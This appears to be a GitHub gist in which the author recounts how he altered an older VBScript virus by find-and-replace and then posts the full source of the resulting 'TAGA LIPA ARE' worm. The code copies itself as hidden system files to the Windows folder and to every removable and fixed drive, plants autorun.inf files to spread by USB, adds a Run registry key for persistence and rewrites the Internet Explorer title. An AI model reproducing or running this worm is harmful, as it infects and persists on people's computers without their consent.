Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@six519
Last active December 14, 2018 02:44
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save six519/7190652 to your computer and use it in GitHub Desktop.
Save six519/7190652 to your computer and use it in GitHub Desktop.
The story behind "TAGA LIPA ARE" virus and its source code.
'Few years ago, I remember fucking around with this so called "Hacked By Godzilla" virus.
'It was a Visual Basic Script with a filename MS32DLL.dll.vbs that fucks up Internet
'Explorer title bar.
'I have been into writing simple Windows OS viruses before the time I learned about
'this fucking VBS virus.
'We all know that the famous "I LOVE YOU" virus was a Visual Basic Script (VBS) too
'and it gave me an idea to test
'if that scripting language can still be reliable to fuck up peoples computer that time.
'What I did was, I only replaced "MS32DLL" with "FS6519", pressing Ctrl + H
'(Find & Replace) with the script opened in Notepad.
'For those people who thought that the "TAGA LIPA ARE" author wants to claim
'that the script was originally written by him,
'well, all I can say is please read the source code below carefully and
'hope you guys will notice the word "MODIFIED" there. Thank you. :D
'-----------------------------------------------------------------------------------------------------------------------------------
'THIS IS A MODIFIED VERSION BY: F. E. SILVA
'MABUHAY ANG LIPA
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe FS6519.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
source=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\FS6519.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\FS6519.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\FS6519.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\FS6519.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519",winpath&"\FS6519.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","TAGA LIPA ARE!"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment